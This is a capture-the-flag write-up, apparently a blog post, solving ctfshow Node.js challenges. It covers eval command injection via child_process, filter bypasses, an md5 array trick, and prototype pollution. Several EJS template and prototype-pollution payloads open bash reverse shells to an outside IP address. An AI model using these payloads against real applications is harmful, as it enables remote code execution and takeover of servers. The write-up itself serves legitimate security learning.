当前位置:网站首页>ctfshow nodejs
ctfshow nodejs
2022-06-30 14:20:00 【Ff. cheng】
Preface
Read the document first
Node.js course | Novice tutorial (runoob.com)
Common loopholes
Node.js Learning and summary of common vulnerabilities - The prophet community (aliyun.com)
nodejs Some introductory features && actual combat - The prophet community (aliyun.com)
Prototype chain pollution
In depth understanding of JavaScript Prototype Pollution attack | Farewell song (leavesongs.com)
template engine rce
How many? node Prototype chain pollution analysis of template engine | L0nm4r (lonmar.cn)
ctfshow nodejs piece - TARI TARI
334

Capitalize operation

Pass to lowercase ctfshow 123456 that will do
335-336- System commands
Node.js Medium chile_process.exec It's called /bash.sh, It's a bash Interpreter , Can execute system commands .
stay eval Function parameters can be constructed require('child_process').exec(''); To make the call .

It turns out to be [object Object]
To view the document :
child_process Subprocesses | Node.js API file (nodejs.cn)
Find out exec The return is

By finding all alternative uses execSyncspawnSync
spawnSync():

Payload:
Law 1 : System commands
?eval=require('child_process').execSync('ls').toString();
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
Law two :
File operations
?eval=require('fs').readdirSync('.');
?eval=require('fs').readFileSync('fl001g.txt');
Node.js File system module (nodejs.cn)

Law three Splicing
'+' want urlencode once
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb);
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')
367-md5
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{
msg: 'tql'});
}
});
module.exports = router;
Array bypassing ?a[]=1&b[]=1
368- Prototype chain pollution
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: ' Login failed '+JSON.stringify(user)});
}
});
There's one in front copy function , Can be linked to the merge Functional analogy
Pollution user Give Way secert.ctfshow by 36dboy
Payload:
{"username":"1","password":"1","__proto__":{"ctfshow":"36dboy"}}
339
Here let me enter flag So I can't use it directly

Unanticipated
ejs rce

Ejs The engine can rce , Refer to the link above for the specific process
Payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
Pollution first outputFunctionName

Visit call rendering , rebound shell

The expected solution

Pollution query Parameters recycling Function rebound shell

The pollution point is user Trigger point at query
/login Lower pollution query

/api Next trigger query

Payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2334 0>&1\"')"}}
340
The trigger point is still query
But the pollution point is different

user.userinfo Up to two levels of pollution is Object object
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2334 0>&1\"')"}}}
341
be without api Then use ejs Of rce
342-343
Refer to the foreword template for specific process analysis rce
payload:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.158.181.145/2333 0>&1\"')"}}}
content-type To be changed to application/json
344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
namely url Cannot contain case 8c、2c and comma
nodejs The parameter with the same name will be stored as an array , also JSON.parse It can be parsed normally

paylaod:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
quotes url Encoded as %22 And c formation %22c Matches a regular , So code c
边栏推荐
- Realize a simple LAN communication (similar to feiqiu)
- Deep understanding Net (2) kernel mode 2 Kernel mode construct semaphone
- PHP excel export function encapsulation (based on phpexcel class)
- Impersonate server and client using message queuing
- Logiciel de récupération de données easyrecovery15 téléchargement
- 【科研数据处理】[实践]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)
- Solve the error in my QT_ thread_ global_ End(): 3 threads didn't exit
- Begin End use the pit encountered
- 用Unity实现Flat Shading
- Why is the resolution of the image generated by PHP GD library 96? How to change it to 72
猜你喜欢

Unity animator parameter

QQ was stolen? The reason is

Google Earth engine (GEE) - ghsl: global human settlements layer, built grid 1975-1990-2000-2015 (p2016) data set

深入理解.Net中的线程同步之构造模式(二)内核模式4.内核模式构造物的总结

Step by step | help you easily submit Google play data security form
![[scientific research data processing] [practice] frequency analysis chart of category variables, distribution chart of numerical variables and normality test (including lognormal)](/img/5a/eaa845f4332f0b8ee8b6409d6a79e8.png)
[scientific research data processing] [practice] frequency analysis chart of category variables, distribution chart of numerical variables and normality test (including lognormal)

remote: Support for password authentication was removed on August 13, 2021. Please use a personal ac

Deep understanding Net (2) kernel mode 2 Kernel mode construct semaphone

【 scientific literature measurement 】 mining and visualization of keywords in foreign and Chinese Literature

XSS challenge (6-10) more detailed answers
随机推荐
Mutex lock, read / write lock, spin lock, pessimistic lock, and optimistic lock
org. json. The jsonobject object is converted to JSON, and JSON adds new elements. The value is obtained according to the JSON key. And list object format string to jsonarray
Golang template (text/template)
Notepad regular delete the line of the keyword
Impersonate server and client using message queuing
Talk about Vue's two terminal diff algorithm, analysis of the rendering principle of the mobile terminal, and whether the database primary key must be self incremented? What scenarios do not suggest s
Jetpack compose for perfect screen fit
Data recovery software easyrecovery15 Download
Shell programming overview
Larave8 JWT API expiration custom error return
PHP recursive multi-level classification, infinite classification
步骤详解 | 助您轻松提交 Google Play 数据安全表单
Four isolation levels of MySQL
(8) JMeter component detailed once only controller
[scientific research data processing] [basic] category variable frequency analysis chart, numerical variable distribution chart and normality test (including lognormal)
Flat shading with unity
The programming competition is coming! B station surrounding, senior members and other good gifts to you!
Configuration of headquarters dual computer hot standby and branch infrastructure for firewall Foundation
【Redis 系列】redis 学习十六,redis 字典(map) 及其核心编码结构
PHP common authentication / third-party methods